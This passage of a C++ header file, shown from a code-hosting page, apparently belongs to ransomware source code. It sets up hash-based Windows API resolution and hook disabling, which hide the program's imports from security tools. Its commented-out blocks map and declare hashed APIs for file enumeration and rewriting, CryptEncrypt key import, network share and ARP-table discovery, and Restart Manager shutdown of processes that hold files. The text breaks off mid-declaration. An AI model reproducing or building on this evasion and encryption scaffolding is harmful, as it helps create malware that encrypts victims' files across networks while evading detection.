-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathapi.h
1919 lines (1645 loc) · 59.5 KB
/
api.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#pragma once
#include "common.h"
#include <iphlpapi.h>
#include <RestartManager.h>
#define HASHING_SEED
#define KERNEL32DLL_HASH 0x240dfbc0
#define LOADLIBRARYA_HASH 0xbe3d21a8
enum MODULES {
KERNEL32_MODULE_ID,
ADVAPI32_MODULE_ID,
NETAPI32_MODULE_ID,
IPHLPAPI_MODULE_ID,
RSTRTMGR_MODULE_ID,
USER32_MODULE_ID,
WS2_32_MODULE_ID,
SHLWAPI_MODULE_ID,
SHELL32_MODULE_ID,
OLE32_MODULE_ID,
OLEAUT32_MODULE_ID
};
namespace api {
VOID DisableHooks();
BOOL InitializeApiModule();
BOOL IsRestartManagerLoaded();
LPVOID
GetProcAddressEx(
__in_opt LPCSTR ModuleName,
__in_opt DWORD ModuleId,
__in DWORD Hash
);
LPVOID
GetProcAddressEx2(
__in char* Dll,
__in DWORD dwModule,
__in DWORD dwProcNameHash,
__in int CacheIndex
);
}
/*
#pragma region templates
template <DWORD h, DWORD hash, int CacheIndex>
inline LPVOID pushargEx()
{
typedef LPVOID(WINAPI* newfunc)();
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func();
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A>
inline LPVOID pushargEx(A a1)
{
typedef LPVOID(WINAPI* newfunc)(A);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B>
inline LPVOID pushargEx(A a1, B a2)
{
typedef LPVOID(WINAPI* newfunc)(A, B);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C>
inline LPVOID pushargEx(A a1, B a2, C a3)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D, class E>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D, class E, class F>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5, a6);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D, class E, class F, class G>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5, a6, a7);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D, class E, class F, class G, class H>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5, a6, a7, a8);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D, class E, class F, class G, class H, class I>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H, I);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5, a6, a7, a8, a9);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D, class E, class F, class G, class H, class I, class X>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9, X a10)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H, I, X);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D, class E, class F, class G, class H, class I, class X, class Y>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9, X a10, Y a11)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H, I, X, Y);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A, class B, class C, class D, class E, class F, class G, class H, class I, class X, class Y, class Z, class R>
inline LPVOID pushargEx(A a1, B a2, C a3, D a4, E a5, F a6, G a7, H a8, I a9, X a10, Y a11, Z a12, R a13)
{
typedef LPVOID(WINAPI* newfunc)(A, B, C, D, E, F, G, H, I, X, Y, Z, R);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13);
return NULL;
}
template <DWORD h, DWORD hash, int CacheIndex, class A1, class A2, class A3, class A4, class A5,
class A6, class A7, class A8, class A9, class A10, class A11, class A12>
inline LPVOID pushargEx(A1 a1, A2 a2, A3 a3, A4 a4, A5 a5, A6 a6, A7 a7, A8 a8,
A9 a9, A10 a10, A11 a11, A12 a12)
{
typedef LPVOID(WINAPI* newfunc)(A1, A2, A3, A4, A5, A6, A7, A8, A9, A10,
A11, A12);
newfunc func = (newfunc)api::GetProcAddressEx2(NULL, h, hash, CacheIndex);
if (func != NULL)
return func(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
return NULL;
}
#pragma endregion
#pragma region KERNEL32
#define pCancelIo pushargEx<KERNEL32_MODULE_ID, 0x19515ab5, 0>
#define plstrlenW pushargEx<KERNEL32_MODULE_ID, 0x2ffbe59f, 1>
#define pGetLogicalDriveStringsW pushargEx<KERNEL32_MODULE_ID, 0x1b99344d, 2>
#define plstrlenA pushargEx<KERNEL32_MODULE_ID, 0xc65c5ee6, 3>
#define pReadFile pushargEx<KERNEL32_MODULE_ID, 0xf91ac9a0, 4>
#define pGetFileSizeEx pushargEx<KERNEL32_MODULE_ID, 0x1b1acbcc, 5>
#define pGetCurrentProcess pushargEx<KERNEL32_MODULE_ID, 0x663b63f4, 6>
#define pWriteFile pushargEx<KERNEL32_MODULE_ID, 0xc45f4a8c, 7>
#define pWow64DisableWow64FsRedirection pushargEx<KERNEL32_MODULE_ID, 0x1972bf90, 8>
#define pGetProcessId pushargEx<KERNEL32_MODULE_ID, 0x31d910df, 9>
#define pSetEndOfFile pushargEx<KERNEL32_MODULE_ID, 0xede8a61e, 10>
#define pWaitForSingleObject pushargEx<KERNEL32_MODULE_ID, 0x6a095e21, 11>
#define pCreateFileW pushargEx<KERNEL32_MODULE_ID, 0xf06e87ca, 12> !
#define pGetFileAttributesW pushargEx<KERNEL32_MODULE_ID, 0x93afb23a, 13>
#define pSetFileAttributesW pushargEx<KERNEL32_MODULE_ID, 0xa62cc8e1, 14>
#define pWow64RevertWow64FsRedirection pushargEx<KERNEL32_MODULE_ID, 0x78ee4dfa, 15>
#define pGetLastError pushargEx<KERNEL32_MODULE_ID, 0x1fbbb84f, 16>
#define plstrcatW pushargEx<KERNEL32_MODULE_ID, 0x07ba2639, 17>
#define pCloseHandle pushargEx<KERNEL32_MODULE_ID, 0xa5eb6e47, 18>
#define pGetNativeSystemInfo pushargEx<KERNEL32_MODULE_ID, 0xdf1af05e, 19>
#define pSetFilePointerEx pushargEx<KERNEL32_MODULE_ID, 0xd54e6bd3, 20>
#define pCreateProcessW pushargEx<KERNEL32_MODULE_ID, 0x7324a0a2, 21>
#define plstrcpyW pushargEx<KERNEL32_MODULE_ID, 0x4d9702d0, 22>
#define pMoveFileW pushargEx<KERNEL32_MODULE_ID, 0xc8fb7817, 23>
#define pGetCommandLineW pushargEx<KERNEL32_MODULE_ID, 0xd52132a3, 24>
#define pCreateMutexA pushargEx<KERNEL32_MODULE_ID, 0xf701962c, 25>
#define pMultiByteToWideChar pushargEx<KERNEL32_MODULE_ID, 0x0cd05546, 26>
#define pCreateThread pushargEx<KERNEL32_MODULE_ID, 0x3a4532be, 27>
#define plstrcmpiW pushargEx<KERNEL32_MODULE_ID, 0xd72e57a9, 28>
#define pHeapFree pushargEx<KERNEL32_MODULE_ID, 0x3ce51c64, 29>
#define pHeapAlloc pushargEx<KERNEL32_MODULE_ID, 0x263040ab, 30>
#define pGetProcessHeap pushargEx<KERNEL32_MODULE_ID, 0xc5e8a09c, 31>
#define pCreateTimerQueueTimer pushargEx<KERNEL32_MODULE_ID, 0x87b69cc9, 32>
#define pEnterCriticalSection pushargEx<KERNEL32_MODULE_ID, 0x21cca665, 33>
#define pDeleteTimerQueue pushargEx<KERNEL32_MODULE_ID, 0xaf17f6da, 34>
#define pLeaveCriticalSection pushargEx<KERNEL32_MODULE_ID, 0xf99eabb9, 35>
#define pInitializeCriticalSection pushargEx<KERNEL32_MODULE_ID, 0x5d48fbaf, 36>
#define pGetQueuedCompletionStatus pushargEx<KERNEL32_MODULE_ID, 0xcd976938, 37>
#define pExitThread pushargEx<KERNEL32_MODULE_ID, 0xb87c8bb7, 38>
#define pPostQueuedCompletionStatus pushargEx<KERNEL32_MODULE_ID, 0x441bdf1e, 39>
#define pSleep pushargEx<KERNEL32_MODULE_ID, 0xe4b69f3b, 40>
#define pGlobalAlloc pushargEx<KERNEL32_MODULE_ID, 0x55710126, 41>
#define pGlobalFree pushargEx<KERNEL32_MODULE_ID, 0xa0ee5aad, 42>
#define pDeleteCriticalSection pushargEx<KERNEL32_MODULE_ID, 0xf4241d9a, 43>
#define pCreateIoCompletionPort pushargEx<KERNEL32_MODULE_ID, 0x57b499e3, 44>
#define pCreateTimerQueue pushargEx<KERNEL32_MODULE_ID, 0xf05ad6da, 45>
#define pFindFirstFileW pushargEx<KERNEL32_MODULE_ID, 0xe2b40f85, 46>
#define pFindNextFileW pushargEx<KERNEL32_MODULE_ID, 0x9aea18e1, 47>
#define pFindClose pushargEx<KERNEL32_MODULE_ID, 0x75fcf770, 48>
#define plstrcmpW pushargEx<KERNEL32_MODULE_ID, 0x397b11df, 49>
#define pVirtualAlloc pushargEx<KERNEL32_MODULE_ID, 0xd827c1e1, 50>
#define pWaitForMultipleObjects pushargEx<KERNEL32_MODULE_ID, 0x1d7ab241, 51>
#define pGetCurrentProcessId pushargEx<KERNEL32_MODULE_ID, 0x7f0fff4e, 52>
#define pGetModuleHandleW pushargEx<KERNEL32_MODULE_ID, 0xa65b5727, 53>
#pragma endregion
#pragma region ADVAPI32
#define pCryptImportKey pushargEx<ADVAPI32_MODULE_ID, 0xa247ff77, 54>
#define pCryptEncrypt pushargEx<ADVAPI32_MODULE_ID, 0x6c6c937b, 55>
#define pCryptGenRandom pushargEx<ADVAPI32_MODULE_ID, 0xabcb0a67, 56>
#define pCryptAcquireContextA pushargEx<ADVAPI32_MODULE_ID, 0x5cc1ccbc, 57>
#pragma endregion
#pragma region NETAPI32
#define pNetApiBufferFree pushargEx<NETAPI32_MODULE_ID, 0xa1f2bf63, 58>
#define pNetShareEnum pushargEx<NETAPI32_MODULE_ID, 0x1668d771, 59>
#pragma endregion
#pragma region IPHLPAPI
#define pGetIpNetTable pushargEx<IPHLPAPI_MODULE_ID, 0xbf983c41, 60>
#pragma endregion
#pragma region SHELL32
#define pCommandLineToArgvW pushargEx<SHELL32_MODULE_ID, 0xc7dfa7fc, 61>
#pragma endregion
#pragma region RSTRTMGR
#define pRmEndSession pushargEx<RSTRTMGR_MODULE_ID, 0x7d154065, 62>
#define pRmStartSession pushargEx<RSTRTMGR_MODULE_ID, 0xb5e437b0, 63>
#define pRmGetList pushargEx<RSTRTMGR_MODULE_ID, 0xbbd8bcb8, 64>
#define pRmRegisterResources pushargEx<RSTRTMGR_MODULE_ID, 0x2ad410e3, 65>
#define pRmShutdown pushargEx<RSTRTMGR_MODULE_ID, 0x22cb760f, 66>
#pragma endregion
#pragma region OLE32
#define pCoUninitialize pushargEx<OLE32_MODULE_ID, 0xd3a7a468, 67>
#define pCoCreateInstance pushargEx<OLE32_MODULE_ID, 0xb32feeec, 68>
#define pCoSetProxyBlanket pushargEx<OLE32_MODULE_ID, 0xde5dbfdc, 69>
#define pCoInitializeSecurity pushargEx<OLE32_MODULE_ID, 0xcc12507f, 70>
#define pCoInitializeEx pushargEx<OLE32_MODULE_ID, 0x2bdbdf4e, 71>
#pragma endregion
#pragma region USER32
#define pwsprintfW pushargEx<USER32_MODULE_ID, 0x2b846b5c, 72>
#pragma endregion
#pragma region SHLWAPI
#define pStrStrIA pushargEx<SHLWAPI_MODULE_ID, 0x6877b7f6, 73>
#define pStrStrIW pushargEx<SHLWAPI_MODULE_ID, 0x5a8ce5b8, 74>
#pragma endregion
#pragma region WS2_32
#define pgethostbyname pushargEx<WS2_32_MODULE_ID, 0xbd6ac662, 75>
#define pgethostname pushargEx<WS2_32_MODULE_ID, 0x1260d6db, 76>
#define psocket pushargEx<WS2_32_MODULE_ID, 0x00c1575b, 77>
#define pWSAIoctl pushargEx<WS2_32_MODULE_ID, 0x1ad64c3e, 78>
#define pclosesocket pushargEx<WS2_32_MODULE_ID, 0x4118bcd2, 79>
#define pWSAAddressToStringW pushargEx<WS2_32_MODULE_ID, 0x333230e1, 80>
#define pWSASocketW pushargEx<WS2_32_MODULE_ID, 0xe558706f, 81>
#define pbind pushargEx<WS2_32_MODULE_ID, 0x4310229a, 82>
#define psetsockopt pushargEx<WS2_32_MODULE_ID, 0x55d15957, 83>
#define pgetsockopt pushargEx<WS2_32_MODULE_ID, 0xe34ea561, 84>
#define pshutdown pushargEx<WS2_32_MODULE_ID, 0x61856121, 85>
#define pWSAStartup pushargEx<WS2_32_MODULE_ID, 0xaf724aac, 86>
#define pWSACleanup pushargEx<WS2_32_MODULE_ID, 0x9812c1b7, 87>
#define pInetNtopW pushargEx<WS2_32_MODULE_ID, 0x7e2eafb0, 89>
#pragma endregion
*/
/*
#pragma region KERNEL32
BOOL WINAPI pCancelIo(
_In_ HANDLE hFile
);
int WINAPI plstrlenW(
LPCWSTR lpString
);
DWORD WINAPI pGetLogicalDriveStringsW(
DWORD nBufferLength,
LPWSTR lpBuffer
);
int WINAPI plstrlenA(
LPCSTR lpString
);
BOOL WINAPI pReadFile(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
);
BOOL WINAPI pGetFileSizeEx(
HANDLE hFile,
PLARGE_INTEGER lpFileSize
);
HANDLE WINAPI pGetCurrentProcess();
BOOL WINAPI pWriteFile(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
BOOL WINAPI pWow64DisableWow64FsRedirection(
PVOID* OldValue
);
DWORD WINAPI pGetProcessId(
HANDLE Process
);
BOOL WINAPI pSetEndOfFile(
HANDLE hFile
);
DWORD WINAPI pWaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
HANDLE WINAPI pCreateFileW(
LPCWSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
DWORD WINAPI pGetFileAttributesW(
LPCWSTR lpFileName
);
BOOL WINAPI pSetFileAttributesW(
LPCWSTR lpFileName,
DWORD dwFileAttributes
);
BOOL WINAPI pWow64RevertWow64FsRedirection(
PVOID OlValue
);
DWORD WINAPI pGetLastError();
LPWSTR WINAPI plstrcatW(
LPWSTR lpString1,
LPCWSTR lpString2
);
BOOL WINAPI pCloseHandle(
HANDLE hObject
);
void WINAPI pGetNativeSystemInfo(
LPSYSTEM_INFO lpSystemInfo
);
BOOL WINAPI pSetFilePointerEx(
HANDLE hFile,
LARGE_INTEGER liDistanceToMove,
PLARGE_INTEGER lpNewFilePointer,
DWORD dwMoveMethod
);
BOOL WINAPI pCreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
LPWSTR WINAPI plstrcpyW(
LPWSTR lpString1,
LPCWSTR lpString2
);
BOOL WINAPI pMoveFileW(
LPCWSTR lpExistingFileName,
LPCWSTR lpNewFileName
);
LPWSTR WINAPI pGetCommandLineW();
HANDLE WINAPI pCreateMutexA(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCSTR lpName
);
int WINAPI pMultiByteToWideChar(
UINT CodePage,
DWORD dwFlags,
_In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr,
int cbMultiByte,
LPWSTR lpWideCharStr,
int cchWideChar
);
HANDLE WINAPI pCreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
int WINAPI plstrcmpiW(
LPCWSTR lpString1,
LPCWSTR lpString2
);
BOOL WINAPI pHeapFree(
HANDLE hHeap,
DWORD dwFlags,
_Frees_ptr_opt_ LPVOID lpMem
);
LPVOID WINAPI pHeapAlloc(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
HANDLE WINAPI pGetProcessHeap();
BOOL WINAPI pCreateTimerQueueTimer(
PHANDLE phNewTimer,
HANDLE TimerQueue,
WAITORTIMERCALLBACK Callback,
PVOID DueTime,
DWORD Period,
DWORD Flags,
ULONG Parameter
);
void WINAPI pEnterCriticalSection(
LPCRITICAL_SECTION lpCriticalSection
);
BOOL WINAPI pDeleteTimerQueue(
HANDLE TimerQueue
);
void WINAPI pLeaveCriticalSection(
LPCRITICAL_SECTION lpCriticalSection
);
void WINAPI pInitializeCriticalSection(
LPCRITICAL_SECTION lpCriticalSection
);
BOOL WINAPI pGetQueuedCompletionStatus(
HANDLE CompletionPort,
LPDWORD lpNumberOfBytesTransferred,
PULONG_PTR lpCompletionKey,
LPOVERLAPPED* lpOverlapped,
DWORD dwMilliseconds
);
void WINAPI pExitThread(
DWORD dwExitCode
);
BOOL WINAPI pPostQueuedCompletionStatus(
_In_ HANDLE CompletionPort,
_In_ DWORD dwNumberOfBytesTransferred,
_In_ ULONG_PTR dwCompletionKey,
_In_opt_ LPOVERLAPPED lpOverlapped
);
void WINAPI pSleep(
DWORD dwMilliseconds
);
HGLOBAL WINAPI pGlobalAlloc(
UINT uFlags,
SIZE_T dwBytes
);
HGLOBAL WINAPI pGlobalFree(
_Frees_ptr_opt_ HGLOBAL hMem
);
void WINAPI pDeleteCriticalSection(
LPCRITICAL_SECTION lpCriticalSection
);
HANDLE WINAPI pCreateIoCompletionPort(
_In_ HANDLE FileHandle,
_In_opt_ HANDLE ExistingCompletionPort,
_In_ ULONG_PTR CompletionKey,
_In_ DWORD NumberOfConcurrentThreads
);
HANDLE WINAPI pCreateTimerQueue();
HANDLE WINAPI pFindFirstFileW(
LPCWSTR lpFileName,
LPWIN32_FIND_DATAW lpFindFileData
);
BOOL WINAPI pFindNextFileW(
HANDLE hFindFile,
LPWIN32_FIND_DATAW lpFindFileData
);
BOOL WINAPI pFindClose(
HANDLE hFindFile
);
int WINAPI plstrcmpW(
LPCWSTR lpString1,
LPCWSTR lpString2
);
LPVOID WINAPI pVirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
DWORD WINAPI pWaitForMultipleObjects(
DWORD nCount,
const HANDLE* lpHandles,
BOOL bWaitAll,
DWORD dwMilliseconds
);
DWORD WINAPI pGetCurrentProcessId();
HMODULE WINAPI pGetModuleHandleW(
LPCWSTR lpModuleName
);
#pragma endregion
#pragma region ADVAPI32
BOOL WINAPI pCryptImportKey(
HCRYPTPROV hProv,
const BYTE* pbData,
DWORD dwDataLen,
HCRYPTKEY hPubKey,
DWORD dwFlags,
HCRYPTKEY* phKey
);
BOOL WINAPI pCryptEncrypt(
HCRYPTKEY hKey,
HCRYPTHASH hHash,
BOOL Final,
DWORD dwFlags,
BYTE* pbData,
DWORD* pdwDataLen,
DWORD dwBufLen
);
BOOL WINAPI pCryptGenRandom(
HCRYPTPROV hProv,
DWORD dwLen,
BYTE* pbBuffer
);
BOOL WINAPI pCryptAcquireContextA(
HCRYPTPROV* phProv,
LPCSTR szContainer,
LPCSTR szProvider,
DWORD dwProvType,
DWORD dwFlags
);
#pragma endregion
#pragma region NETAPI32
DWORD WINAPI pNetApiBufferFree(
_Frees_ptr_opt_ LPVOID Buffer
);
DWORD WINAPI pNetShareEnum(
WCHAR* servername,
DWORD level,
LPBYTE* bufptr,
DWORD prefmaxlen,
LPDWORD entriesread,
LPDWORD totalentries,
LPDWORD resume_handle
);
#pragma endregion
ULONG WINAPI pGetIpNetTable(
PMIB_IPNETTABLE IpNetTable,
PULONG SizePointer,
BOOL Order
);
LPWSTR* WINAPI pCommandLineToArgvW(_In_ LPCWSTR lpCmdLine, _Out_ int* pNumArgs);
DWORD WINAPI pRmEndSession(
DWORD dwSessionHandle
);
DWORD WINAPI pRmStartSession(
DWORD* pSessionHandle,
DWORD dwSessionFlags,
WCHAR* strSessionKey
);
DWORD WINAPI pRmGetList(
DWORD dwSessionHandle,
UINT* pnProcInfoNeeded,
UINT* pnProcInfo,
RM_PROCESS_INFO* rgAffectedApps,
LPDWORD lpdwRebootReasons
);
DWORD WINAPI pRmRegisterResources(
DWORD dwSessionHandle,
UINT nFiles,
LPCWSTR* rgsFileNames,
UINT nApplications,
RM_UNIQUE_PROCESS* rgApplications,
UINT nServices,
LPCWSTR* rgsServiceNames
);
DWORD WINAPI pRmShutdown(
DWORD dwSessionHandle,
ULONG lActionFlags,
RM_WRITE_STATUS_CALLBACK fnStatus
);
void WINAPI pCoUninitialize();
HRESULT WINAPI pCoCreateInstance(
REFCLSID rclsid,
LPUNKNOWN pUnkOuter,
DWORD dwClsContext,
REFIID riid,
LPVOID* ppv
);
HRESULT WINAPI pCoSetProxyBlanket(
IUnknown* pProxy,
DWORD dwAuthnSvc,
DWORD dwAuthzSvc,
OLECHAR* pServerPrincName,
DWORD dwAuthnLevel,
DWORD dwImpLevel,
RPC_AUTH_IDENTITY_HANDLE pAuthInfo,
DWORD dwCapabilities
);
HRESULT WINAPI pCoInitializeSecurity(
PSECURITY_DESCRIPTOR pSecDesc,
LONG cAuthSvc,
SOLE_AUTHENTICATION_SERVICE* asAuthSvc,
void* pReserved1,
DWORD dwAuthnLevel,
DWORD dwImpLevel,
void* pAuthList,
DWORD dwCapabilities,
void* pReserved3
);
HRESULT WINAPI pCoInitializeEx(
LPVOID pvReserved,
DWORD dwCoInit
);
hostent* WINAPI pgethostbyname(
const char* name
);
int WINAPI pgethostname(
char* name,
int namelen
);
SOCKET WINAPI psocket(
int af,
int type,
int protocol
);
int WINAPI pWSAIoctl(
SOCKET s,
DWORD dwIoControlCode,
LPVOID lpvInBuffer,
DWORD cbInBuffer,
LPVOID lpvOutBuffer,
DWORD cbOutBuffer,
LPDWORD lpcbBytesReturned,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
int WINAPI pclosesocket(
IN SOCKET s
);
INT WINAPI pWSAAddressToStringW(
LPSOCKADDR lpsaAddress,
DWORD dwAddressLength,
LPWSAPROTOCOL_INFOW lpProtocolInfo,
LPWSTR lpszAddressString,
LPDWORD lpdwAddressStringLength
);
SOCKET WINAPI pWSASocketW(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOW lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
int WINAPI pbind(
SOCKET s,
const sockaddr* addr,
int namelen
);
int WINAPI psetsockopt(
SOCKET s,
int level,
int optname,
const char* optval,
int optlen
);
int WINAPI pgetsockopt(
SOCKET s,
int level,
int optname,
char* optval,
int* optlen
);
int WINAPI pshutdown(
SOCKET s,
int how
);
int WINAPI pWSAStartup(
WORD wVersionRequired,
LPWSADATA lpWSAData
);
int WINAPI pWSACleanup();
PCWSTR WSAAPI pInetNtopW(
INT Family,
const VOID* pAddr,
